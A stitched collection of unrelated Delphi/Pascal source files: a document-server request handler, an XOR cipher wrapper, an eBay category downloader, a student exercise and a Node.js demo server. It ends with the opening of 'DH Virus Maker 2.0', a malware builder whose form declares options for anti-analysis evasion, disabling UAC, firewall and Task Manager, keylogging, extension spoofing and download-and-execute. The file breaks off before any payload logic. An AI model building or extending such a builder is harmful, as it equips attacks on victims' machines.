, ddProcessTaskPrim
{$IfEnd} // NOT Defined(Nemesis)
;
type
TalcuDownloadDocRequest = class(TalcuWaitableRequest)
private
f_Message: TcsDownloadDocStream;
f_Reply: TcsDownloadDocStreamReply;
protected
procedure pm_SetMessage(aValue: TcsDownloadDocStream);
procedure pm_SetReply(aValue: TcsDownloadDocStreamReply);
procedure Cleanup; override;
{* Функция очистки полей объекта. }
{$If NOT Defined(Nemesis)}
procedure DoRun(const aContext: TddRunContext); override;
{$IfEnd} // NOT Defined(Nemesis)
{$If NOT Defined(Nemesis)}
procedure DoAbort; override;
{$IfEnd} // NOT Defined(Nemesis)
public
class function GetTaggedDataType: Tk2Type; override;
public
property Message: TcsDownloadDocStream
read f_Message
write pm_SetMessage;
property Reply: TcsDownloadDocStreamReply
read f_Reply
write pm_SetReply;
end;//TalcuDownloadDocRequest
{$IfEnd} // Defined(ServerTasks)
implementation
{$If Defined(ServerTasks)}
uses
l3ImplUses
, SysUtils
, nevInternalInterfaces
, l3Filer
, evdNativeWriter
, evdNativeReader
, l3Interfaces
, arDocAttributesMixer
, m4DocumentAddress
, m3DocumentAddress
, l3Base
, l3StopWatch
, l3Types
, DownloadDocRequest_Const
//#UC START# *57C3FAF20200impl_uses*
//#UC END# *57C3FAF20200impl_uses*
;
procedure TalcuDownloadDocRequest.pm_SetMessage(aValue: TcsDownloadDocStream);
//#UC START# *57C3FB090381_57C3FAF20200set_var*
//#UC END# *57C3FB090381_57C3FAF20200set_var*
begin
//#UC START# *57C3FB090381_57C3FAF20200set_impl*
aValue.SetRefTo(f_Message);
//#UC END# *57C3FB090381_57C3FAF20200set_impl*
end;//TalcuDownloadDocRequest.pm_SetMessage
procedure TalcuDownloadDocRequest.pm_SetReply(aValue: TcsDownloadDocStreamReply);
//#UC START# *57C3FB2E0376_57C3FAF20200set_var*
//#UC END# *57C3FB2E0376_57C3FAF20200set_var*
begin
//#UC START# *57C3FB2E0376_57C3FAF20200set_impl*
aValue.SetRefTo(f_Reply);
//#UC END# *57C3FB2E0376_57C3FAF20200set_impl*
end;//TalcuDownloadDocRequest.pm_SetReply
procedure TalcuDownloadDocRequest.Cleanup;
{* Функция очистки полей объекта. }
//#UC START# *479731C50290_57C3FAF20200_var*
//#UC END# *479731C50290_57C3FAF20200_var*
begin
//#UC START# *479731C50290_57C3FAF20200_impl*
FreeAndNil(f_Message);
FreeAndNil(f_Reply);
inherited;
//#UC END# *479731C50290_57C3FAF20200_impl*
end;//TalcuDownloadDocRequest.Cleanup
{$If NOT Defined(Nemesis)}
procedure TalcuDownloadDocRequest.DoRun(const aContext: TddRunContext);
//#UC START# *53A2EEE90097_57C3FAF20200_var*
var
l_Gen: Tk2TagGenerator;
l_ReadFiler : Tl3CustomFiler;
l_WriteFiler : Tl3CustomFiler;
l_FoundSelector: Tm4Addresses;
l_IDX: Integer;
l_Address: Tm3DocumentAddress;
l_Counter: Tl3StopWatch;
//#UC END# *53A2EEE90097_57C3FAF20200_var*
begin
//#UC START# *53A2EEE90097_57C3FAF20200_impl*
l_Counter.Reset;
l_Counter.Start;
try
try
l_Gen := nil;
try
TevdNativeWriter.SetTo(l_Gen);
l_WriteFiler := MakeFilerForMessage(f_Reply.Data);
try
(l_Gen as TevdNativeWriter).Filer := l_WriteFiler;
(l_Gen as TevdNativeWriter).Binary := True;
finally
FreeAndNil(l_WriteFiler);
end;
if f_Message.FoundSelector.Count = 0 then
l_FoundSelector := nil
else
l_FoundSelector := Tm4Addresses.Make;
try
for l_IDX := 0 to f_Message.FoundSelector.Count - 1 do
begin
f_Message.FoundSelector.GetValue(l_IDX, l_Address.rPara, l_Address.rWord, l_Address.rDocument);
l_FoundSelector.Add(l_Address);
end;
l_ReadFiler := nil;
BuildDocLoadPipe(f_Message.DocFamily, f_Message.DocID, f_Message.IsObjTopic, Tk2TypeTable.GetInstance.TypeByName[f_Message.DocumentType],
f_Message.DocPart, f_Message.Level, f_Message.WithAttr, f_Message.DocPartSel, l_FoundSelector, l_Gen, l_ReadFiler);
finally
FreeAndNil(l_FoundSelector);
end;
try
TevdNativeReader.SetTo(l_Gen);
TevdNativeReader(l_Gen).Filer := l_ReadFiler;
TevdNativeReader(l_Gen).Execute;
finally
FreeAndNil(l_ReadFiler);
end;
finally
FreeAndNil(l_Gen);
end;
f_Reply.ErrorMessage := '';
f_Reply.IsSuccess := True;
except
on E: Exception do
begin
f_Reply.ErrorMessage := E.Message;
f_Reply.IsSuccess := False;
l3System.Exception2Log(E);
end;
end;
finally
l_Counter.Stop;
SignalReady;
l3System.Msg2Log('Remote read document - %s', [FormatFloat('#,##0 ms', l_Counter.Time * 1000)], l3_msgLevel10);
end;
//#UC END# *53A2EEE90097_57C3FAF20200_impl*
end;//TalcuDownloadDocRequest.DoRun
{$IfEnd} // NOT Defined(Nemesis)
{$If NOT Defined(Nemesis)}
procedure TalcuDownloadDocRequest.DoAbort;
//#UC START# *57C4135700F7_57C3FAF20200_var*
//#UC END# *57C4135700F7_57C3FAF20200_var*
begin
//#UC START# *57C4135700F7_57C3FAF20200_impl*
f_Reply.ErrorMessage := 'Операция прервана';
SignalReady;
//#UC END# *57C4135700F7_57C3FAF20200_impl*
end;//TalcuDownloadDocRequest.DoAbort
{$IfEnd} // NOT Defined(Nemesis)
class function TalcuDownloadDocRequest.GetTaggedDataType: Tk2Type;
begin
Result := k2_typDownloadDocRequest;
end;//TalcuDownloadDocRequest.GetTaggedDataType
{$IfEnd} // Defined(ServerTasks)
end.
|
{ Version 1.0 - Author jasc2v8 at yahoo dot com
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org> }
unit cipher_xor;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, StrUtils;
function EnCrypt(const aText: string; const aKey: string): string;
function DeCrypt(const aText: string; const aKey: string): string;
implementation
function EnCrypt(const aText: string; const aKey: string): string;
begin
Result:=XorEncode(aKey, aText);
end;
function DeCrypt(const aText: string; const aKey: string): string;
begin
Result:=XorDecode(aKey, aText);
end;
end.
|
unit uGetCategories;
interface
uses
Classes,
SysUtils,
Variants,
XMLDoc,
DB,
CommonTypes,
EbayConnect,
IdThread,
uThreadSync,
IdComponent,
Forms,
ActiveX,
uTypes;
type
TGetCategoriesThread = class(TidThread)
private
// Private declarations
FForm : TForm;
FOperationResult : AckCodeType;
FErrorRecord : eBayAPIError;
FEbayTradingConnect : TEbayTradingConnect;
OpResult : string;
FSavedCategoriesCnt : Integer;
FRxDelta : Integer;
FTxDelta : Integer;
CatCount : Integer;
protected
// Protected declarations
procedure GetAllCategories;
procedure WriteEbayApiExceptionLog(E : Exception);
procedure EbayTradingConnectWork(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64);
public
// Public declarations
FDevID : ShortString;
FAppID : ShortString;
FCertID : ShortString;
FToken : WideString;
FSiteID : SiteCodeType;
FGlobalSiteID : Global_ID;
FCategoryVersion : Integer;
FBasePath : string;
FCategory : TCatRec;
// Objects visible outside threads
FSyncObj : TFTSync;
// methods
constructor Create(Form: TForm);
destructor Destroy; override;
procedure Run; override;
end;
implementation
uses XMLIntf, HotLog;
{ TGetCategoriesThread }
constructor TGetCategoriesThread.Create(Form: TForm);
begin
inherited Create(true);
FForm := Form;
FreeOnTerminate := True;
FSyncObj := TFTSync.Create;
FSyncObj.FThread := Self;
end;
destructor TGetCategoriesThread.Destroy;
begin
inherited;
end;
procedure TGetCategoriesThread.Run;
var hr: HRESULT;
begin
inherited;
try
hr := CoInitializeEx(nil, COINIT_APARTMENTTHREADED);
FEbayTradingConnect := TEbayTradingConnect.Create(nil);
with FEbayTradingConnect do begin
Host := 'api.ebay.com';
ServiceURL := 'https://api.ebay.com/ws/api.dll';
SSLCertFile := 'test_b_crt.pem';
SSLKeyFile := 'test_b_key.pem';
SSLRootCertFile := 'test_b_ca.pem';
SSLPassword := 'aaaa';
SiteID := FSiteID;
AppID := FAppID;
DevID := FDevID;
CertID := FCertID;
Token := FToken;
OnWork := EbayTradingConnectWork;
end;
GetAllCategories;
finally
FEbayTradingConnect.Free;
CoUninitialize;
end;
//SplashScreen.btn1.Click;
Stop;
end;
procedure TGetCategoriesThread.GetAllCategories;
var Request, Response : TMemoryStream;
CXMLDoc : TXMLDocument;
i : Integer;
CatNode : IXMLNode;
TMPStringList : TStringList;
begin
try
Request:=TMemoryStream.Create;
Response:=TMemoryStream.Create;
CXMLDoc := TXMLDocument.Create(FForm);
TMPStringList := TStringList.Create;
TMPStringList.LoadFromFile(FBasePath+'\StoredXML\GetCategories.xml');
i := FEbayTradingConnect.GetSiteIDNum(FSiteID);
TMPStringList.Text := StringReplace(TMPStringList.Text,'#CSID',IntToStr(i),[]);
//Format(TMPStringList.Text,[i]);
TMPStringList.SaveToStream(Request);
Request.Seek(0,soFromBeginning);
try
hLog.Add('{hms} Getcategories Request Start');
FRxDelta := 0;
FTxDelta := 0;
FEbayTradingConnect.ExecuteRequest(Request,Response);
hLog.Add('{hms}Getcategories Response received');
FSyncObj.IncApiUsage;
except
on E : Exception do WriteEbayApiExceptionLog(E);
end;
Response.Seek(0,soFromBeginning);
CXMLDoc.XML.LoadFromStream(Response);
CXMLDoc.Active := True;
//CXMLDoc.SaveToFile('GetCatRes.xml');
OpResult := CXMLDoc.DocumentElement.ChildNodes.FindNode('Ack').NodeValue;
if OpResult = 'Success' then
try
FCategoryVersion := CXMLDoc.DocumentElement.ChildNodes.Nodes['CategoryVersion'].NodeValue;
CatCount := CXMLDoc.DocumentElement.ChildNodes.Nodes['CategoryArray'].ChildNodes.Count;
FCategory.CatCount := CatCount;
FCategory.FGlobalSiteID := FGlobalSiteID;
hLog.Add(Format('{hms} Categories downloaded - %s : %d ',[OpResult,CatCount]));
if CatCount >0 then begin
FSavedCategoriesCnt := 0;
for i :=0 to CatCount-1 do
begin
CatNode := CXMLDoc.DocumentElement.ChildNodes.Nodes['CategoryArray'].ChildNodes.Get(i);
FCategory.CategoryID := StrToInt(CatNode.ChildNodes.Nodes['CategoryID'].NodeValue);
FCategory.CategoryLevel := CatNode.ChildNodes.Nodes['CategoryLevel'].NodeValue;
FCategory.CategoryName := CatNode.ChildNodes.Nodes['CategoryName'].NodeValue;
FCategory.CategoryParentID := StrToInt(CatNode.ChildNodes.Nodes['CategoryParentID'].NodeValue);
if FCategory.CategoryLevel = 1 then FCategory.CategoryParentID := -1;
if CatNode.ChildNodes.Nodes['LeafCategory']<> nil then
if CatNode.ChildNodes.Nodes['LeafCategory'].NodeValue = 'true'
then FCategory.LeafCategory := true
else FCategory.LeafCategory := false
else FCategory.LeafCategory := null;
inc(FSavedCategoriesCnt);
FCategory.SavedCategoriesCnt := FSavedCategoriesCnt;
FSyncObj.SaveCategory;
end;
hLog.Add(Format('{hms} Categories Saved - %d',[FSavedCategoriesCnt]));
end;
except
on E : Exception do hLog.AddException(E,'Save database GetCategories',[]);
end
else hLog.Add(Format('{hms} Categories downloaded - %s',[OpResult]));
CXMLDoc.Active := false;
finally
if CXMLDoc <> nil then CXMLDoc.Free;
if Request <> nil then Request.Free;
if Response <> nil then Response.Free;
if TMPStringList <> nil then TMPStringList.Free;
end;
end;
procedure TGetCategoriesThread.WriteEbayApiExceptionLog(E : Exception);
var fname:string;
begin
hLog.AddException(E,'GetCategories',[]);
fname := Format('%s/log/DownloadCategoriesRequest.xml',[FBasePath]);
hLog.Add('EbayApiException - Request XML saved - '+fname);
FEbayTradingConnect.RequestXMLText.SaveToFile(fname);
//for i := 0 to FEbayTradingConnect.RequestXMLText.Count -1 do hLog.Add(FEbayTradingConnect.RequestXMLText.Strings[i]);
fname := Format('%s/log/DownloadCategoriesResponse.xml',[FBasePath]);
hLog.Add('EbayApiException - Response XML saved - '+fname);
FEbayTradingConnect.ResponseXMLText.SaveToFile(fname);
//for i := 0 to FEbayTradingConnect.ResponseXMLText.Count -1 do hLog.Add(FEbayTradingConnect.ResponseXMLText.Strings[i]);
end;
procedure TGetCategoriesThread.EbayTradingConnectWork(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64);
begin
case AWorkMode of
wmRead : begin
FSyncObj.OnHttpWork(AWorkMode,AWorkCount-FRxDelta);
FRxDelta := AWorkCount;
end;
wmWrite : begin
FSyncObj.OnHttpWork(AWorkMode,AWorkCount-FTxDelta);
FTxDelta := AWorkCount;
end;
end;
end;
end.
{
'update Sites set Version = 96 , LastUpdated = ''08.11.2010 0:09:21'' where GlobalSiteID = ''EBAY_US'''#$D#$A
}
|
Program Aufgabe9;
{$codepage utf8}
Var Zahl1: Integer;
Zahl2: Integer;
I: Integer;
Begin
Write('Bitte gib die erste Zahl ein: ');
Read(Zahl1);
Write('Bitte gib die zweite Zahl ein: ');
Read(Zahl2);
If Zahl1 > Zahl2 Then // Zahlen tauschen
Begin
Zahl1 := Zahl1 xor Zahl2;
Zahl2 := Zahl2 xor Zahl1;
Zahl1 := Zahl1 xor Zahl2;
End;
WriteLn('Alle durch 7 teilbare Zahlen zwischen ', Zahl1, ' und ', Zahl2, ':');
For I := Zahl1 To Zahl2 Do
If I mod 7 = 0 Then
WriteLn(I);
End. |
unit SmartServerMain;
interface
type
TServer = class
public
procedure Run;
end;
implementation
uses
NodeJS.Core, NodeJS.http,
Node_Static,
socket.io;
{ TServer}
procedure TServer.Run;
begin
var fileserver := TNodeStaticServer.Create('./public');
//start http server
var server: JServer := http.createServer(
procedure(request: JServerRequest; response: JServerResponse)
begin
Console.log('http request: ' + request.url);
if request.url = '/' then
response.end('Hello World!')
else
fileserver.serve(request, response);
end);
var port := 5000;
if Process.env.PORT > 0 then
port := Process.env.PORT;
server.listen(port, '');
Console.log('Server running at http://127.0.0.1:' + port.ToString);
var value := 0;
var io := socketio().listen(server);
io.sockets.on('connection', //wait for connections
procedure(socket: JSocketIO)
begin
socket.emit('dataPushed', ['test']); //push some test data to client on connection
socket.on('requestFromClient', //wait for a special request from the client
procedure(data: Variant; callback: JSocketIODataFunction)
begin
Console.log('Received from client: ' + data);
value += data;
if value > 100 then value := 0;
callback(value); //send some data back
io.sockets.emit('dataFromServer', [value]); //send to all clients
end);
end);
end;
end.
|
{
This software is Copyright (c) 2016 by Doddy Hackman.
This is free software, licensed under:
The Artistic License 2.0
The Artistic License
Preamble
This license establishes the terms under which a given free software Package may be copied, modified, distributed, and/or redistributed. The intent is that the Copyright Holder maintains some artistic control over the development of that Package while still keeping the Package available as open source and free software.
You are always permitted to make arrangements wholly outside of this license directly with the Copyright Holder of a given Package. If the terms of this license do not permit the full use that you propose to make of the Package, you should contact the Copyright Holder and seek a different licensing arrangement.
Definitions
"Copyright Holder" means the individual(s) or organization(s) named in the copyright notice for the entire Package.
"Contributor" means any party that has contributed code or other material to the Package, in accordance with the Copyright Holder's procedures.
"You" and "your" means any person who would like to copy, distribute, or modify the Package.
"Package" means the collection of files distributed by the Copyright Holder, and derivatives of that collection and/or of those files. A given Package may consist of either the Standard Version, or a Modified Version.
"Distribute" means providing a copy of the Package or making it accessible to anyone else, or in the case of a company or organization, to others outside of your company or organization.
"Distributor Fee" means any fee that you charge for Distributing this Package or providing support for this Package to another party. It does not mean licensing fees.
"Standard Version" refers to the Package if it has not been modified, or has been modified only in ways explicitly requested by the Copyright Holder.
"Modified Version" means the Package, if it has been changed, and such changes were not explicitly requested by the Copyright Holder.
"Original License" means this Artistic License as Distributed with the Standard Version of the Package, in its current version or as it may be modified by The Perl Foundation in the future.
"Source" form means the source code, documentation source, and configuration files for the Package.
"Compiled" form means the compiled bytecode, object code, binary, or any other form resulting from mechanical transformation or translation of the Source form.
Permission for Use and Modification Without Distribution
(1) You are permitted to use the Standard Version and create and use Modified Versions for any purpose without restriction, provided that you do not Distribute the Modified Version.
Permissions for Redistribution of the Standard Version
(2) You may Distribute verbatim copies of the Source form of the Standard Version of this Package in any medium without restriction, either gratis or for a Distributor Fee, provided that you duplicate all of the original copyright notices and associated disclaimers. At your discretion, such verbatim copies may or may not include a Compiled form of the Package.
(3) You may apply any bug fixes, portability changes, and other modifications made available from the Copyright Holder. The resulting Package will still be considered the Standard Version, and as such will be subject to the Original License.
Distribution of Modified Versions of the Package as Source
(4) You may Distribute your Modified Version as Source (either gratis or for a Distributor Fee, and with or without a Compiled form of the Modified Version) provided that you clearly document how it differs from the Standard Version, including, but not limited to, documenting any non-standard features, executables, or modules, and provided that you do at least ONE of the following:
(a) make the Modified Version available to the Copyright Holder of the Standard Version, under the Original License, so that the Copyright Holder may include your modifications in the Standard Version.
(b) ensure that installation of your Modified Version does not prevent the user installing or running the Standard Version. In addition, the Modified Version must bear a name that is different from the name of the Standard Version.
(c) allow anyone who receives a copy of the Modified Version to make the Source form of the Modified Version available to others under
(i) the Original License or
(ii) a license that permits the licensee to freely copy, modify and redistribute the Modified Version using the same licensing terms that apply to the copy that the licensee received, and requires that the Source form of the Modified Version, and of any works derived from it, be made freely available in that license fees are prohibited but Distributor Fees are allowed.
Distribution of Compiled Forms of the Standard Version or Modified Versions without the Source
(5) You may Distribute Compiled forms of the Standard Version without the Source, provided that you include complete instructions on how to get the Source of the Standard Version. Such instructions must be valid at the time of your distribution. If these instructions, at any time while you are carrying out such distribution, become invalid, you must provide new instructions on demand or cease further distribution. If you provide valid instructions or cease distribution within thirty days after you become aware that the instructions are invalid, then you do not forfeit any of your rights under this license.
(6) You may Distribute a Modified Version in Compiled form without the Source, provided that you comply with Section 4 with respect to the Source of the Modified Version.
Aggregating or Linking the Package
(7) You may aggregate the Package (either the Standard Version or Modified Version) with other packages and Distribute the resulting aggregation provided that you do not charge a licensing fee for the Package. Distributor Fees are permitted, and licensing fees for other components in the aggregation are permitted. The terms of this license apply to the use and Distribution of the Standard or Modified Versions as included in the aggregation.
(8) You are permitted to link Modified and Standard Versions with other works, to embed the Package in a larger work of your own, or to build stand-alone binary or bytecode versions of applications that include the Package, and Distribute the result without restriction, provided the result does not expose a direct interface to the Package.
Items That are Not Considered Part of a Modified Version
(9) Works (including, but not limited to, modules and scripts) that merely extend or make use of the Package, do not, by themselves, cause the Package to be a Modified Version. In addition, such works are not considered parts of the Package itself, and are not subject to the terms of this license.
General Provisions
(10) Any use, modification, and distribution of the Standard or Modified Versions is governed by this Artistic License. By using, modifying or distributing the Package, you accept this license. Do not use, modify, or distribute the Package, if you do not accept this license.
(11) If your Modified Version has been derived from a Modified Version made by someone other than you, you are nevertheless required to ensure that your Modified Version complies with the requirements of this license.
(12) This license does not grant you the right to use any trademark, service mark, tradename, or logo of the Copyright Holder.
(13) This license includes the non-exclusive, worldwide, free-of-charge patent license to make, have made, use, offer to sell, sell, import and otherwise transfer the Package with respect to any patent claims licensable by the Copyright Holder that are necessarily infringed by the Package. If you institute patent litigation (including a cross-claim or counterclaim) against any party alleging that the Package constitutes direct or contributory patent infringement, then this Artistic License to you shall terminate on the date that such litigation is filed.
(14) Disclaimer of Warranty: THE PACKAGE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS IS' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES. THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT ARE DISCLAIMED TO THE EXTENT PERMITTED BY YOUR LOCAL LAW. UNLESS REQUIRED BY LAW, NO COPYRIGHT HOLDER OR CONTRIBUTOR WILL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
}
// DH Virus Maker 2.0
// (C) Doddy Hackman 2016
unit builder;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
Vcl.ComCtrls, Vcl.StdCtrls, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
Vcl.Styles.Utils.Menus,
Vcl.Styles.Utils.SysStyleHook,
Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, DH_Form_Effects,
DH_Builder_Tools,
DH_Server_Manager, DH_Malware_Functions, DH_Malware_Disables;
type
TFormHome = class(TForm)
imgLogo: TImage;
ilIconosPageControl: TImageList;
ilIconosBuilder: TImageList;
ilIconosBotones: TImageList;
pcOptions: TPageControl;
tsFunctions: TTabSheet;
gbOptions: TGroupBox;
tsBuilder: TTabSheet;
pcBuilderOptions: TPageControl;
tsConfiguration: TTabSheet;
gbEnterIPBuilder: TGroupBox;
btnGenerate: TButton;
gbOptionsConfiguration: TGroupBox;
cbHideFiles: TCheckBox;
cbUseStartup: TCheckBox;
tsUAC_Tricky: TTabSheet;
cb_Use_UAC_Tricky: TCheckBox;
gbTypeUAC_Tricky: TGroupBox;
rbContinue_if_UAC_is_Off: TRadioButton;
rbExit_if_UAC_is_Off: TRadioButton;
tsExtractionPath: TTabSheet;
gbPathExtractionPath: TGroupBox;
cmbSpecialPaths: TComboBox;
txtPath: TEdit;
rbSelectPath: TRadioButton;
rbIUseThis: TRadioButton;
gbEnterFolderExtractionPath: TGroupBox;
txtFolder: TEdit;
tsDateTime: TTabSheet;
cbUseThisDateTime: TCheckBox;
gbDateTimeConfiguration: TGroupBox;
lblCreationTime: TLabel;
lblModifiedTime: TLabel;
lblLastAccess: TLabel;
txtCreationTime: TEdit;
txtModifiedTime: TEdit;
txtLastAccessTime: TEdit;
tsFilePumper: TTabSheet;
cbIUseFilePumper: TCheckBox;
gbEnterCountFilePumper: TGroupBox;
txtCount: TEdit;
upEnterCountFilePumper: TUpDown;
gbSelectTypeFilePumper: TGroupBox;
cmbTypes: TComboBox;
tsExtensionSpoofer: TTabSheet;
cbUseExtensionSpoofer: TCheckBox;
gbOptionsExtensionSpoofer: TGroupBox;
cmbExtensions: TComboBox;
rbUseSelectExtension: TRadioButton;
rbUseThisExtension: TRadioButton;
txtExtension: TEdit;
tsIconChanger: TTabSheet;
gbEnterIconIconChanger: TGroupBox;
txtPathIcon: TEdit;
btnLoadIcon: TButton;
gbPreviewIconChanger: TGroupBox;
imgPreviewIcon: TImage;
cbUseIconChanger: TCheckBox;
tsAntisDisables: TTabSheet;
gbAntis: TGroupBox;
cbAnti_VirtualPC: TCheckBox;
cbAnti_VirtualBox: TCheckBox;
cbAnti_Kaspersky: TCheckBox;
cbAnti_Wireshark: TCheckBox;
cbAnti_OllyDbg: TCheckBox;
cbAnti_Anubis: TCheckBox;
cbAnti_Debug: TCheckBox;
cbAnti_VMWare: TCheckBox;
gbDisables: TGroupBox;
cbDisable_UAC: TCheckBox;
cbDisable_Firewall: TCheckBox;
cbDisable_CMD: TCheckBox;
cbDisable_Run: TCheckBox;
cbDisable_Regedit: TCheckBox;
cbDisable_Taskmgr: TCheckBox;
cbDisable_Updates: TCheckBox;
cbDisable_MsConfig: TCheckBox;
tsAbout: TTabSheet;
gbAbout: TGroupBox;
about: TImage;
panelAbout: TPanel;
labelAbout: TLabel;
status: TStatusBar;
cbDeleteFile: TCheckBox;
cbKillProcess: TCheckBox;
cbExecuteCommand: TCheckBox;
cbOpenCD: TCheckBox;
cbHideIcons: TCheckBox;
cbMessagesSingle: TCheckBox;
cbMessagesBomber: TCheckBox;
cbSendKeys: TCheckBox;
cbWriteWord: TCheckBox;
cbCrazyMouse: TCheckBox;
cbCrazyHour: TCheckBox;
cbShutdown: TCheckBox;
cbReboot: TCheckBox;
cbCloseSession: TCheckBox;
cbOpenURL: TCheckBox;
cbLoadPaint: TCheckBox;
cbEditTaskbarText: TCheckBox;
cbTurnOffMonitor: TCheckBox;
cbSpeak: TCheckBox;
cbPlayBeeps: TCheckBox;
cbDownloadAndExecute: TCheckBox;
cbChangeWallpaper: TCheckBox;
cbChangeScreensaver: TCheckBox;
cbPrinterBomber: TCheckBox;
cbFormBomber: TCheckBox;
cbHTMLBomber: TCheckBox;
cbWindowsBomber: TCheckBox;
cbBlockAll: TCheckBox;
cbHideTaskbar: TCheckBox;
tsAntidote: TTabSheet;
gbAntidote: TGroupBox;
btnActiveFirewall: TButton;
btnActiveTaskmgr: TButton;
btnActiveRegedit: TButton;
btnActiveUpdates: TButton;
btnActiveUAC: TButton;
btnRestoreTaskbarText: TButton;
btnActiveCMD: TButton;
btnShowIcons: TButton;
btnActiveRun: TButton;
btnShowTaskbar: TButton;
btnRestoreWallpaper: TButton;
btnRestoreScreensaver: TButton;
procedure btnGenerateClick(Sender: TObject);
procedure btnActiveFirewallClick(Sender: TObject);
procedure btnActiveRegeditClick(Sender: TObject);
procedure btnActiveUACClick(Sender: TObject);
procedure btnActiveCMDClick(Sender: TObject);
procedure btnActiveRunClick(Sender: TObject);
procedure btnActiveTaskmgrClick(Sender: TObject);
procedure btnActiveUpdatesClick(Sender: TObject);
procedure btnRestoreTaskbarTextClick(Sender: TObject);
procedure btnShowIconsClick(Sender: TObject);
procedure btnShowTaskbarClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnLoadIconClick(Sender: TObject);
procedure btnRestoreWallpaperClick(Sender: TObject);
procedure btnRestoreScreensaverClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
function open_dialog(title, filter: string; filter_index: integer): string;
function save_dialog(title, filter, default_ext: string;
filter_index: integer): string;
end;
var
FormHome: TFormHome;
implementation
{$R *.dfm}
// Functions
function message_box(title, message_text, type_message: string): string;
begin
if not(title = '') and not(message_text = '') and not(type_message = '') then
begin
try
begin
if (type_message = 'Information') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONINFORMATION);
end
else if (type_message = 'Warning') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONWARNING);
end
else if (type_message = 'Question') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONQUESTION);
end
else if (type_message = 'Error') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONERROR);
end
else
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONINFORMATION);
end;
Result := '[+] MessageBox : OK';
end;
except
begin
Result := '[-] Error';
end;
end;
end
else
begin
Result := '[-] Error';
end;
end;
function TFormHome.open_dialog(title, filter: string;
filter_index: integer): string;
var
odOpenFile: TOpenDialog;
filename: string;
begin
odOpenFile := TOpenDialog.Create(Self);
odOpenFile.title := title;
odOpenFile.InitialDir := GetCurrentDir;
odOpenFile.Options := [ofFileMustExist];
odOpenFile.filter := filter;
odOpenFile.FilterIndex := filter_index;
if odOpenFile.Execute then
begin
filename := odOpenFile.filename;
end;
odOpenFile.Free;
Result := filename;
end;
function TFormHome.save_dialog(title, filter, default_ext: string;
filter_index: integer): string;
var
sdSaveFile: TSaveDialog;
filename: string;
begin
sdSaveFile := TSaveDialog.Create(Self);
sdSaveFile.title := title;
sdSaveFile.InitialDir := GetCurrentDir;
sdSaveFile.filter := filter;
sdSaveFile.DefaultExt := default_ext;
sdSaveFile.FilterIndex := filter_index;
if sdSaveFile.Execute then
begin
filename := sdSaveFile.filename;
end;
sdSaveFile.Free;
Result := filename;
end;
//
procedure TFormHome.FormCreate(Sender: TObject);
var
effect: T_DH_Form_Effects;
begin
UseLatestCommonDialogs := False;
effect := T_DH_Form_Effects.Create();
effect.Effect_Marquee_Label_DownUp(panelAbout, labelAbout, 1);
effect.Free;
end;
procedure TFormHome.btnGenerateClick(Sender: TObject);
var
builder_tools: T_DH_Builder_Tools;
server_manager: T_DH_Server_Manager;
stub_generado: string;
var
op_deletefile, op_kill_process, op_execute_command, op_open_cd, op_hide_icons,
op_hide_taskbar, op_messages_single, op_messages_bomber, op_sendkeys,
op_write_word, op_crazy_mouse, op_crazy_hour, op_shutdown, op_reboot,
op_close_session, op_open_url, op_load_paint, op_edit_taskbar_text,
op_turn_off_monitor, op_speak, op_play_beeps, op_block_all,
op_change_wallpaper, op_change_screensaver, op_printer_bomber,
op_form_bomber, op_html_bomber, op_windows_bomber,
op_download_and_execute: string;
var
file_to_delete, process_name, command_to_execute, message_single_title,
message_single_content, message_bomber_title, message_bomber_content,
message_bomber_count, text_to_send, word_text_to_send, mouse_count,
hour_count, url_to_open, new_taskbar_text, text_to_speak, beeps_count,
url_wallpaper, url_screensaver, file_to_print, printer_bomber_count,
form_bomber_title, form_bomber_content, form_bomber_count,
html_bomber_title, html_bomber_content, html_bomber_count, windows_count,
url_download, new_name: string;
var
configuration, extraction_config, antis_config, disables_config,
linea_final: string;
//
var
op_hide_files, op_use_startup, op_use_keylogger, op_use_special_path,
op_i_use_this, op_use_uac_tricky, op_uac_tricky_continue_if_off,
